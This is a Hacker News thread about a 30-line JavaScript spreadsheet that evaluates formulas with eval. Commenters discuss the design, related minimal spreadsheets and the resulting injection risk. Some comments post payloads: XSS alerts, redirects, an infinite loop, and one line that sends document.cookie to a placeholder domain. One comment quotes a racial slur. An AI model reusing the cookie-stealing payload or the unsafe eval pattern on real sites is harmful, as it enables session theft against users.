
A spreadsheet in fewer than 30 lines of JavaScript, no library used - ondras
http://jsfiddle.net/ondras/hYfN3/
======
lifeisstillgood
I am impressed. Its a neat hack, it actually is a real spreadsheet in 30 lines
of code, with references fully working (ie =A3+B4 gives expected output. As
does =alert("foo") but then nothing is perfect).

I think it says something about the browser as a platform - these thirty lines
simply assume an enormous amount that excel and visicalc could not - visicalc
had to write their own screen refresh routines.

It is useful sometimes to reflect on what has evolved so far - and wonder
where we should be taking things. What is it now that is the equivalent of
writing our own screen handling routines? Location? Distributed computation or
storage?

~~~
thatthatis
A 30 line javascript spreadsheet is similar for me to when I first saw
Norvig's 21 line python spelling corrector ([http://norvig.com/spell-
correct.html](http://norvig.com/spell-correct.html)): this language is more
powerful and expressive than I thought.

I'm increasingly believing that HTML/CSS/JS in a browser is a viable common
runtime. This demo does quite a lot to solidify that belief.

~~~
stiff
The only things that are powerful and expressive in JavaScript are bastardized
beyond recognition versions of ideas from Lisp, Smalltalk and Self. You get
those dynamic mechanisms that we know for 50 years now (lambda expressions and
runtime method dispatch, oh wow) to be useful but without learning any lessons
learned in those 50 years about how to design a coherent language based on
those concepts, you just get a hodgepodge of language constructs that don't
add up together to form a useful toolkit. It might look nice in a 30 line
program where you don't care about performance, code readability (and boy does
this code look ugly) and bugs and maintenance costs.

Ruby or Smalltalk have an object system for doing those kinds of things that
was actually designed and not evolved by committees and corporations, so that
your meta-programming doesn't have to always be only eval and .bind in various
incarnations (unsafe, inconvenient and slow). I can't imagine how this thing
here that makes evaluating "A1" perform a function call fits into the rest of
JavaScript and why the hall was it even introduced:

[https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Refe...](https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty)

Not to mention the "with" usage on which this hack is based is actively
discouraged by everyone using JavaScript as it basically mixes in the object
into the current scope. In a sane language, you do .instance_eval, and you
_narrow_ the scope to whatever the object contains.

I congratulate the author of this code as much as everyone for finding an
unexpected and very creative use for those features, but this doesn't make
them great.

~~~
lelandbatey
I agree, saying "Wow, this is a viable and useful language" because you can do
something in just a few highly unreadable lines seems... like a pretty odd
judgment.

It'd be a bit like saying that C is a great language because someone wrote a
raytracer that fits on a business card[0] using it.

[0]
[http://fabiensanglard.net/rayTracing_back_of_business_card/](http://fabiensanglard.net/rayTracing_back_of_business_card/)

~~~
chc
This code is fairly readable. It takes one or two shortcuts, but it's much
closer to real code than to golf.

------
tel
It's not really comparable, but minimalistic spreadsheet applications always
remind me of Dan Piponi's Haskell `loeb` function [0]---a "one-line"
"spreadsheet" "implementation".

The blog post is very interesting to read, but here's the meat. We're looking
for a function with type

    
    
        loeb :: Functor f => f (f a -> a) -> f a
    

and without thinking about the meaning of it, we can implement it as

    
    
        loeb x = fmap (\a -> a (loeb x)) x
    

which embodies a certain, strange kind of recursion. It turns out that it's
"spreadsheet recursion". We build a list of functions from lists of a to a
like

    
    
        test :: [[Int] -> Int]
        test = [ (!! 1), length, (!! 0) ]   -- think [A1, length(A), A0]
    

then `loeb test` "completes" the list by applying the "result list" to each of
the functions of the source list.

    
    
        loeb test == [3, 3, 3]
    

Laziness lets the recursion proceed despite "evaluating" the list from left to
right. Infinite loops still fail

    
    
        loeb [(!! 0)] == [............ waiting
    

It's also interesting to think of how to do "spreadsheet recursion" on exotic
data types like trees.

    
    
        data Binary a = Branch (Binary a) a (Binary a) | Tip
                      deriving (Show, Functor)
    
        depth Tip            = 0
        depth (Branch l _ r) = succ (max (depth l) (depth r))
    
        top default Tip            = default
        top _       (Branch _ a _) = a
    
        > loeb (Branch Tip depth (Branch Tip (top 0) Tip))
        Branch Tip 2 (Branch Tip 2 Tip)
    

[0] [http://blog.sigfpe.com/2006/11/from-l-theorem-to-
spreadsheet...](http://blog.sigfpe.com/2006/11/from-l-theorem-to-
spreadsheet.html)

~~~
tel
One more cool trick from the same article (slightly modified). It's a
factorial function computed on an "infinite spreadsheet". But how?

    
    
        fact = loeb fact' where
          fact' 0 _ = 1
          fact' n f = n*f (n-1)
    

If we ask GHC for the type of `fact'` then we see that it is

    
    
        Int -> ((Int -> Int) -> Int)
    

which we can interpret via the `Reader Int` monad as being

    
    
        m (m Int -> Int)
        -- for 
        m a = (Int -> a)
    

Now, `f :: (Int -> a)` as a functor is isomorphic to an infinite stream

    
    
        map f [0, 1, ...]
    

if we ignore the negative numbers. So we can think of `fact'` as having the
type

    
    
        Stream (Stream Int -> Int)
    

where each function in the stream takes its own index and multiplies it by the
value at the previous index.

Then `loeb` completes the computation using spreadsheet recursion.

~~~
tel
And because I just find this really fascinating, here's a more direct
implementation of `fact`

    
    
        data Stream a = Stream a (Stream a)
                        deriving Functor
    
        tabulate :: (Int -> a) -> Stream a
        tabulate f = go 0 where
          go n = Stream (f n) (go (succ n))
    
        index :: Stream a -> (Int -> a)
        index (Stream a _)  0 = a
        index (Stream a st) n = index st (pred n)
    
        -- btw: tabulate . index == id
        -- and  index . tabulate == id
    
        fact :: Int -> Int
        fact n = index (loeb facts) n where
          facts :: Stream (Stream Int -> Int)
          facts = tabulate $ \i stream -> i * index stream (i-1)

------
racbart
This is truly great as proof of concept and also as a reminder that in
software development building 80% of perceived* functionality usually takes
only tiny fraction of total development time which is required to build final
product.

* - this app looks and feels like “almost complete spreadsheet” yet it provides much less than 1% features of even a basic spreadsheet.

~~~
dictum
And 80% of perceived functionality is what most users — even people who rely
on spreadsheets for their work — need.

I'm not saying including the other 20% of functionality isn't a good thing to
do, but when you're creating a new product or open source project, you can get
by (and thrive) building only the 20% of functionality that's used 80% of the
time.

Why? Because 1% of functionality is still better than 0% (never shipping).

You're not Microsoft. You don't have to keep your dominance in the spreadsheet
software market like Microsoft has to.

~~~
sheetjs
The problem is that the total economic value (as measured by market price) for
the users who only use that 80% of perceived functionality is close to 0
(google docs and OO/LO are free)

The incredibly difficult 20% is what people pay for. It's what the businesses
that shell out billions of dollars a year pay for. And it's what a successful
product in the space needs to tackle

~~~
kbenson
On the other hand, you are taking what appears to be a general observation and
applying it to this specific instance. Sure, there are plenty of free
spreadsheets available. But what about other areas? There's plenty of areas
still where a well executed easy to use minimal version of a product can
compete in the existing for-pay ecosystem, and as we are discussing, minimal
can pay off since 20% of functionality may take 5% or less of the time it
would take to do 100%.

~~~
phillmv
Y'alls be talking about different things.

You're talking about "feature minimalism is a good design philosophy".

The other dudes are talking about "bridging the gap between a sweet demo and a
final product is a tremendous assload of work".

~~~
kbenson
No, I'm specifically just saying that not everyone's "final product" is the
same thing, and depending on the target market and audience, a minimal product
may be worthwhile, and the economic value isn't always "close to 0", as the
parent I replied to stated.

Also, I don't think that "feature minimalism is a good design philosophy" is
_always_ true, even though it may guide you well in most cases.

------
_sh
If anyone else is wondering why formula evaluation is not working in Chrome,
it is because jsfiddle is violating Chrome's security policy by serving up the
javascript from fiddle.jshell.net (not jsfiddle.net).

When this javascript code attempts to access the LocalStorage API, Chrome
(rightfully) steps in and says: nope. This may be a new security feature, but
is present in Chrome 30.0.1599.114 on Fedora.

------
rattray
Are there any more full-featured libraries that people use for this?

I've found SpreadJS[0], GelSheet[1], jQuery.Sheet[2], and ZK Spreadsheet, but
none seem like thriving open-source projects as far as I can tell.

[0]
[http://wijmo.com/demo/spreadjs/samples/index.html](http://wijmo.com/demo/spreadjs/samples/index.html)

[1] [http://www.gelsheet.org/demo](http://www.gelsheet.org/demo)

[2] [http://visop-dev.com/Project+jQuery.sheet](http://visop-
dev.com/Project+jQuery.sheet)

[3]
[http://www.zkoss.org/product/zkspreadsheet](http://www.zkoss.org/product/zkspreadsheet)

~~~
thematt
I'd really love to see one that supports a hierarchy of JSON data, such as a
treegrid.

~~~
r00fus
Can you explain how such a tree would map inside a graph? I can't think of an
obvious use case.

~~~
thematt
The use case is something like this: [http://ludo.cubicphuse.nl/jquery-
treetable/](http://ludo.cubicphuse.nl/jquery-treetable/)

It would be nice if something like that existed, but with much richer features
like the libraries above.

~~~
r00fus
IIRC, both datatables [1] and JQGrid [2] do this, right?

[1] [http://datatables.net/](http://datatables.net/)

[2][http://trirand.com/blog/jqgrid/jqgrid.html](http://trirand.com/blog/jqgrid/jqgrid.html)

------
uniclaude
Wow, was this made by the same ondras who made wwwsqldesigner? This guy got me
into Javascript a couple years ago thanks to the source code of that tool, and
now it pays a good part of my bills. The tool himself helped me quite a bit
too. Awesome guy.

Nice hack, impressive!

~~~
agilebyte
Yes, it is the same Ondřej.

[http://ondras.zarovi.cz/#projects](http://ondras.zarovi.cz/#projects)

------
mistercow
This is very impressive. The use of "Object.defineProperty" and "with" to
handle formula evaluation is particularly clever.

------
Shish2k
Reminds me of this; a spreadsheet (with graphs :P) in 2KB of C

[http://www.ioccc.org/2000/jarijyrki.c](http://www.ioccc.org/2000/jarijyrki.c)

Explanation:

[http://www.ioccc.org/2000/jarijyrki.hint](http://www.ioccc.org/2000/jarijyrki.hint)

------
goshx
Awesome job! Very clever :)

After seeing it working and the few clever lines of code I was really
surprised. But then I though: oh, let me go back to HN and read the comments
from people saying "BUT IT DOESN'T HAVE CHARTS!!!" and unfortunately comments
like that are here. What is wrong with this poeple???

~~~
icoder
Apart from the fact that I think (as far as the comments that are on now) you
are exaggerating quite a bit with "BUT IT DOESN'T HAVE CHARTS!!!", I also
think there's no need to suggest that there's anything 'wrong' with those
people.

There's the downvote button if something is really not fruitful for discussion
(remember though discussion is - to a respectful extent - often enriched when
people differ in their views and opinions on a subject).

I don't see why every thread on HN needs a top level comment that meta-
discourages criticism.

~~~
goshx
I still don't have the down vote option :(

And the reason why I point these critics out is that they are simply not
reasonable if you know what is happening there. Perhaps having a top level
comment like this may actually encourage them to think twice or try to learn
before commenting?

But you know, maybe this is just a mirror to what happens almost daily in
companies where there are non-technical people making decisions. Imagine this
"excel-like app" being presented by the author to his boss, a non-technical
person, as something extra that he built and is all excited about. There is a
good chance that his boss will make the bad comments that it is lacking a lot
of features. That is probably why these people make such comments: they don't
have a clue of what is going on.

------
draegtun
Here are some links to Carl Sassenrath _World 's smallest spreadsheet_ program
he wrote back in 2001 using Rebol (under 100 lines):

* Announcement on Rebol mailing list - [http://www.rebol.org/ml-display-thread.r?m=rmlNHPK](http://www.rebol.org/ml-display-thread.r?m=rmlNHPK)

* Code (Rebol script library) - [http://www.rebol.org/view-script.r?script=rebocalc.r](http://www.rebol.org/view-script.r?script=rebocalc.r)

* Code (in Gist for nicer syntax highlighting) - [https://gist.github.com/draegtun/7454495](https://gist.github.com/draegtun/7454495)

* Recent blog post with screen image - [http://rebol2.blogspot.co.uk/2013/08/the-worlds-smallest-spr...](http://rebol2.blogspot.co.uk/2013/08/the-worlds-smallest-spreadsheet-program.html)

~~~
klausnrooster
Level in the header is beginner. In 2001. Download Rebol/View, the source in
the gist link. Run Rebol, click console. pwd, ls, cd to the place you put the
gist code. type "do %whateveryounamedthesource". Smaller than a browser i
would guess.

~~~
draegtun
_> Smaller than a browser i would guess_

You can amend _max-x_ & _max-y_ variables in the script to change spreadsheet
size to make bigger.

For others...

The Rebol 2 binaries to run this spreadsheet script can be found here -
[http://www.rebol.com/download-view.html](http://www.rebol.com/download-
view.html)

And from the shell/command line you can also run the script straight off the
internet like so:

    
    
      ./rebol http://www.rebol.org/download-a-script.r?script-name=rebocalc.r
    

The spreadsheet is simple to use (beginner level) but surprisingly very
powerful (Rebol types, expressions & functions are available).

------
bananashake
This works wonderfully.

Definitely the most punch I've seen per line of code.

You can use javascript functions in your excel formulas. In a 30 line of code
program this is a feature.

= alert("I love it.");

~~~
hamburglar
Definitely a cool hack, but I had to laugh out loud at "Excel-like syntax
(formulas start with "=")". Apparently the grammar for an "excel-like" syntax
is:

excel_like_expression ::= "=" javascript_expression

------
brador
Very cool and a great springboard for others to develop from.

Bug/feature: only uppercase works in formulas (A4 works but a4 does not).

~~~
ondras
Neat idea, lowercase fixed!

~~~
brador
Worth a line of code to add return key to move down a cell?

~~~
6ren
[http://jsfiddle.net/hYfN3/197/](http://jsfiddle.net/hYfN3/197/)

    
    
        elm.onkeydown = function(evt) {
            evt = evt || window.event;
            var keyCode = evt.keyCode || evt.which;
            if (keyCode == '13') {
                var nextid = this.id.charAt(0) + String.fromCharCode(this.id.charCodeAt(1)+1);
                document.getElementById(nextid).focus();
            }
        };
    

_disclaimer: I don 't know JS_

------
kin
Just yesterday there was that Google email from 2010 talking about how JS can
not evolve any further. It made me feel a bit wasteful about my time spent
with the likes of node and angular.

Seeing things like this reminds me how much JS is capable of in today's
browsers and also shows me how much more I need to understand about the
language.

Awesome stuff.

~~~
mistercow
It's important to remember that when someone is justifying the existence of a
new project, claims like "<that technology> can't evolve to meet the needs of
<this technology>" are highly suspect.

------
codegeek
A reminder of why HN is awesome. Ya ya i know it is a clever little JS hack
and hardly an excel replacement but love the creativity of this.

------
habosa
Can someone help me understand how this works? Don't have deep JS knowledge
and I can't see what's going on with `DATA` and all that.

~~~
thewarrior
Well I'm a javascript noob myself but I'll try to explain. The clever thing is
how he used eval.

This is where the magic happens :

    
    
      var getter = function() {
    
              var value = localStorage[elm.id] || "";
    
              if (value.charAt(0) == "=") {
    
                  with (DATA) return eval(value.substring(1));
    
              } else { return isNaN(parseFloat(value)) ? value :
    
      parseFloat(value); }
    
         };
    

So if you entered "=A1 + A2" it would be evaluated as DATA[A1]+DATA[A2] . A1
and A2 get bound to DATA because of the preceding with statement.

Now the question is what happens when DATA[A1] is called. He used
Object.defineProperty to ensure that whenever you try to access a cell the
same method (which i just explained) gets called.

    
    
        Object.defineProperty(DATA, elm.id, {get:getter});
    

This means add a property called elm.id to DATA and it's getter is the
function I just explained.

So whenever we try to acess DATA[something] it hooks into the same getter
method so a cell can depend on another cell which depends on another cell and
so on ..

Now you can see why this so clever. Because he used the inbuilt eval it can
evaluate any kind of formula involving multiplication , division or function
calls.

The only thing I dont understand is how circular references are prevented.

Like I said I'm not very familiar with JS so if anyone notices anything wrong
I'd like to know.

~~~
spion
Circular references are not really "prevented". Most browsers just
stackoverflow after a couple of thousand calls. The code below try/catches
that error and simply continues.

------
jasallen
Expressions did not evaluate for me. Reading the other comments I think I'm
the only one though :-(

~~~
spxdcz
They didn't work for me either - the attempt to access localStorage on my
latest Chrome/Mac throws a security error in the console for some reason (may
be a plugin/blocker). If you're getting the same, it seems to work in Safari
for me.

------
genericuser
For 30 lines of code it is indeed impressive.

But I think it would of been more impressive at 40 or whatever it would of
taken to have a couple error checks.

What I mean by this is if you enter an invalid formula say =() or =asdf in a
cell it breaks all the valid formulas you enter after that cell making them
display as text instead of a value when refreshed.

~~~
ondras
Added a trivial try-catch block so error in one cell does not prevent others
from evaluating. Line count unchanged :-)

------
kav-ya
I thought the spreadsheet was mad impressive and decided to take a shot at
making it massively multiplayer. Here's the fiddle:

[http://jsfiddle.net/sy85U/](http://jsfiddle.net/sy85U/)

~~~
brymaster
Warning: Don't click it. This fiddle spams infinite javascript alerts.

------
jcutrell
A dangerously awesome feature: eval means it probably would support anon
funcs.

~~~
__brian__
Yup:

    
    
      =(function(){console.log("hehehe");})()

~~~
gberger
Don't need to go that far:

    
    
        =alert("hehehe")

------
antidaily
Ok, but where do I sign in with my Windows Live account?

------
xradionut
Just waiting for the other 20,000 Excel features to be added. :)

This may sound like an inane comment, but trying working along Excel power
users for the past two decades. Most people have no idea of the crazy, huge,
complicated environment that is Excel.

~~~
timje1
Around my parts of the woods, people are very wary of putting an editable grid
into a web-page.. because over years of maintenance, all editable grids tend
towards excel, and excel has an infinite list of features for clients to
request.

------
jokeofweek
The fact that you can put Javascript code which interacts with the cells is
awesome.

For example you can put 10 in A1 and then put "=sum=0;for(i=0;i<A1;i++)sum+=i"
in A2 to get the sum from 0 to 10. I really like this.

~~~
nmat
You may like, but it is an obvious security flaw. A 'real' product couldn't
have this feature, at least not the way it is implemented here.

~~~
genericacct
Please elaborate. ( i ask because i am writing a spreadsheet where every cell
can be JSON or a JS expression )

What sort of vulnerabilities does this expose, besides letting the user shoot
their feet repeatedly? Cross site scripting?

~~~
araskoktas
document.write('<img src="somedomain.com/?'+document.cookie);

~~~
cosarara97
But you'd need to send a spreadsheet with that to the victim.

~~~
araskoktas
Well yes, the idea is the sheet being open to a group of people for
collaboration or whatever reason.

------
yiransheng
Really clever hack. Also looked around the original Angular spreadsheet the
author offered as a inspiration, the 'hacky' components boiled down to this
too parts:

1\. Data binding.

Angular: ng-model, ng-controller, relying on Angular's magical $scope

This: custom defined object getter, essentially making the data resides in the
DOM input elements (while keeping a copy in localStorage)

2\. Expression evaluation

Angular: $parse service

This: 'with' and 'eval' in the same line. Despite its double 'evilness', this
is really clever.

------
xa99978
I used fair amount of excel that is the reason why I am commenting. Just
because you can enter some numbers in cell you cannot call it a spreadsheet.
The main problem I see in your spreadsheet is the data entry. After you enter
something you have to hit tab. no other key works. The main feature for any
spreadsheet should be ease of data entry. Also other feature should be
selecting the cell with mouse (instead of entering A1 I should be able to
select A1)

------
edwinvlieg
Just like Excel, this version allows you to program almost anything inside a
cell. Try inserting =alert("foobar") in a cell :)

------
jayferd
=parent.location='[http://www.google.com/'](http://www.google.com/')

hey look, a page redirect :D

------
dakridge
Just curious - shouldn't the events be attached to the parent table and
delegated to the children inputs so you are not attaching the focus and blur
events to each individual input? Similar to something like this:
[http://jsfiddle.net/W3Stf/](http://jsfiddle.net/W3Stf/)

~~~
ondras
That is a cool improvement. The "focus" and "blur" events do not bubble, so I
initially tried to evade event delegation - with respect to legacy event
handling (attachEvent) that does not support the capture phase you used.

------
benhoyt
Neat! Not quite the same thing, but see also this 9-line "spreadsheet" written
in Python by Raymond Hettinger:
[http://code.activestate.com/recipes/355045-spreadsheet/](http://code.activestate.com/recipes/355045-spreadsheet/)

~~~
draegtun
Very neat.

Thought I'd have a crack at doing something similar in Rebol. Here's my
attempt:

    
    
      Rebol []
     
      ; Here's the beef!...  the spreadsheet object
      spreadsheet: context [
          update: func [block /local b] [
              b: compose/deep block
              bind b self   ; so action happens in object context
              do b
          ]
      ]
     
      ; make sheet with following cells
      ss: make spreadsheet [
          a1: 5
          a2: does [a1 * 6]
          a3: does [a2 * 7]
      ]
     
      ; simple usage example
      print ss/a3  ; => 210
      ss/a1: 6   
      print ss/a3  ; => 252
     
      ; use /update method to keep it within the objects context (needed for DOES)
      ss/update [a3: does [a1 + a2]]
      print ss/a3  ; => 42
     
      ; and compose in variables from current context, see (a1) 
      a1: 1000
      ss/update [a3: does [a1 + (a1)]]
      print ss/a3 ; => 1006
    

You could probably do something very similar in other prototype based object
languages.

------
robomartin
What concerns me about developing browser applications is the idea that there
are precious few ways to protect your code. I know we all love open source,
but sometimes you want or need just the opposite. Not sure there's a way to
truly achieve that with JS (limitations or not).

------
ChrisCinelli
I am impressed with it. However the biggest complexity in a real spreadsheet
is the implementation of a correct evaluation of the graph of dependencies.
This evaluate sequentially and if you have a cell with a formula that use
following cells, it is not going to work :-/

------
EGreg
This shows how far we've gone where we can write this kind of stuff easily.

However we have a long way to go. This would be nice for a start:
[http://vimeo.com/36579366](http://vimeo.com/36579366)

------
jfasi
Bug reporting: entering "1 + 1" causes the cell to display "1"

------
geuis
Bug report: In Chrome Version 30.0.1599.101, an error is generated that
prevents the app from running: "Uncaught SecurityError: An attempt was made to
break through the security policy of the user agent. "

Works in Safari 7.

------
nilliams
Obligatory CoffeeScript version:
[http://jsfiddle.net/hYfN3/759/](http://jsfiddle.net/hYfN3/759/)

(Uses a regexp instead of `with` statement as CoffeeScript forbids with).

------
j-hernandez
Aside from losing input when tabbing out, works a treat in Opera. Can think of
a couple of places that a fork of this might come in handy in my work this
week. Clever, thanks for sharing

~~~
untothebreach
it does a parseFloat() on the input, so input that can't be coerced into a
float gets turned into NaN and not displayed.

~~~
j-hernandez
Makes sense, hadn't even looked that closely at the code before I commented -
all 30 lines of it, ha. Shame on me.

~~~
untothebreach
Looks like that particular problem has been fixed.

------
monokrome
This is all fine and dandy until someone decides to exploit your use of eval:

=document.location='[http://facebook.com/'](http://facebook.com/')

------
yurikoval
Microsoft's business clientele success summarised in 30 lines of javascript.
This is a really neat hack. Maybe Google will sample it to improve their
spreadsheet performance.

------
moron4hire
Oh wow, adding functions is pretty straightforward:
[http://jsfiddle.net/hYfN3/315/](http://jsfiddle.net/hYfN3/315/)

------
solox3
First thing I tried was "=alert()". While it worked, its tendency to block,
recalculate, _and_ persist with localStorage made it a bad idea, personally.

~~~
egeozcan
btw, do not use location.reload or you get a reload loop until manually
deleting the entry in local storage

------
buro9
1\. Take user generated content

2\. eval()

3\. ???

4\. PROFIT! (for the person who stole data/identity, etc)

~~~
chc
I'm not sure it's possible to steal your own identity.

~~~
buro9
I'd place a bet that someone will copy that code without understanding the
risks involved, and then will hack together the ability to load and save data,
and then complete the puzzle by enabling you to share it.

Voila.

People copy code, the defaults should be safer. I know that wouldn't make it
so elegant as it wouldn't fit in so few lines, but that's how you educate
others on the risks and how to deal with those risks.

~~~
chc
> _I 'd place a bet that someone will copy that code without understanding the
> risks involved, and then will hack together the ability to load and save
> data, and then complete the puzzle by enabling you to share it._

I'd place a bet that if this did happen, it would not be on a site that stores
sensitive information. And even in the ridiculously unlikely case that it did,
I would still not blame that on the Fiddle. This code is perfectly safe in the
situation it's used in. The idea that minimal demos must cover every
conceivable situation just seems really weird to me. Most places don't even
generally require real production code to deal with out-of-scope situations.
(For example, most Rails apps do not include code deal with the possibility
that application_controller.rb has been replaced with malicious code even
though that is a huge vulnerability if the Internet has write access to
application_controller.rb. They rely on external measures to ensure that
situation doesn't arise.)

> _People copy code, the defaults should be safer._

There is no safer default to use here AFAIK.

------
ubersoldat2k7
Oh well, didn't expect it to work but I had to try it:

0.1 + 0.2 = 0.30000000000000004

Awesome work either way. Would be nice to know how many lines of code Lotus
1-2-3 had.

~~~
monokrome
Number of lines of code in Lotus is unrelated for many reasons which I hope
are obvious.

------
thestarswheeled
It's nice to read and understand some javascript which doesn't involve a 3
hour youtube session on the latest framework. Cheers.

------
thewarrior
How does the circular reference prevention work ?

~~~
wpears
The getter is wrapped in a try/catch, so the circular reference hits the max
call stack size and errors out silently.

~~~
vinayan3
Terribly efficient.

------
tehwalrus
This + TideSDK for cross platform deployment (or just delivery in a browser,
if you're happy with the insecurity) = Awesome.

------
MrBra
30 lines of JS + 14 lines of HTML + 45 lines of CSS + 5,000,791 lines of
browser rendering engine (WebKit in this case).

------
genericacct
I am impressed, congrats. Next time some C++head jokes about JS I'll show them
this (and some linux emulators)

------
headgasket
Impressive. This shows how anything that can be written in Javascript will be
written; and what cannot UX wise?

------
oakaz
Then check this out: www.editgrid.com/untitled

It was built on 2005, with real-time collaboration, no library used.

------
stevoski
It doesn't have pivot tables; therefore I don't see this as a viable
replacement for Excel.

------
Deestan
Interesting how it handles cyclic references only if the chrome dev console is
not opened.

------
RokStdy
Fantastic! I'm trying to get stronger with my JS and this is really an
inspiration.

------
WetTowel
Doing this makes it a lot less useable. =document.location="test"

------
dscrd
orgmode's org-table.el is about 5k lines, including comments, and I never felt
it lacked any features. It uses other libraries of course, and is rather dense
lisp code.

------
ruttiger
WHAT IS THIS MAGIC?

------
snapoutofit
This is really neat! Will play around.

------
rberdeen
Crash it with

    
    
      =DATA[$.id]

------
kybernetikos
How does jquery count as 'no library used'?

EDIT: I get it guys - I complained without reading carefully, sorry...

~~~
ondras
"$" replaced with "elm" to cause less confusion.

~~~
kybernetikos
I apologise for my confusion and retract my moan.

I'm afraid I suffered from commenting without reading properly. In my defence,
seeing $ signs everywhere shuts down the careful part of my brain.

------
Gepser
Nice, thanks for sharing

------
nyan_sandwich
Some has scripted it to alternate between "Seriously though..." and "NIGGER"

How nice.

------
Ricter
Input '=alert(/XSS/)'.. eval() is not a good choice.

------
vargalas
That's cool!

------
known
Brilliant hack.

------
alpha_24
remove this urgently it has been hacked.

------
larvaetron
=while(true){}

------
antonwinter
next challenge, Word in 30 lines

~~~
jdude104
How about one line? <title>Notepad</title><body contenteditable style="font-
size:3rem;line-height:1.4;max-width:60rem;margin:0 auto;padding:4rem;">

------
snambi
Just awesome

------
piyush_soni
Awesome! :)

------
st0neage
=alert("XSS")

~~~
yurikoval
=alert("No protection in 30 lines of code.")

------
westwin
very nice.

------
Eleutheria
Ondřej Žára. I've seen that name before. Hmm. The guy behind a server side
implementation of Javascript. I loved that concept and I still believe it has
a huge potential.

Kudos.

------
dschiptsov
Why, where are tons of cool Clojurescript with core.async?)

------
runn1ng

      =while(1) {alert("BOO")}
    

HAHAHA I BROKED IT

------
mariusmg
Probably the most misleading article name in the history.....

~~~
reustle
How so? Even some formulas work!

------
rcirka
Although it is impressive that an app like this can be created in such few
lines of code, I think it is a bad precedent as a programmer to have a goal to
write as least as many lines as possible. It leads to hacks and unmaintainable
code. I would rather have a method that has 10 lines of code that can be
easily understood, then a method with one line of code that is only understood
by the creator. That is not to say that one shouldn't focus as code reduction
via re-usability, but one should always write code the can be understood by
others.

~~~
mistercow
This code isn't particularly hard to understand, and that's one of the things
I was impressed with about it. If it were more than a demo, it would need
comments to explain its cleverer bits, but on the whole, it's pretty cleanly
written.

But I disagree that writing short programs for the sake of writing short
programs is a bad thing. Sure, you need to recognize that you can't take all
of the habits you get from it with you when doing stuff for production, but it
can be a good goal when creating prototypes. One big advantage is that it
prevents feature creep.

I wrote a library a while back called DelayedOp for wrangling async calls in
JS. Originally it was 5 lines of CoffeeScript, and I actually used it in that
form for a while. It's much bigger now and full of features to aid in
debugging. The key is that by writing it minimally to begin with, I got
something I could use and see what features I actually wanted to add. And
while I mourn the elegance of those original five lines, I also realize that
what it is now is far more useful and reliable.

------
dubcanada
My text disappears after I type it in and move on.

And why do you call a table an "excel-like" app? Can it so =SUM(); can it do
search and replace or the over 9000 other features of excel? No... it's a
table, with a editor.

~~~
Mikeb85
They made a fully functioning spreadsheet in 30 lines with no libraries. I'm
sure adding more functions is possible... You could probably even figure out
how to create a SUM function...

~~~
gtramont
You can create your built-in functions as this:

var DATA={ SUM: function(a,b) { return a+b; } }

Nice demonstration of language features, like 'with', that we usually take as
'bad practices'.

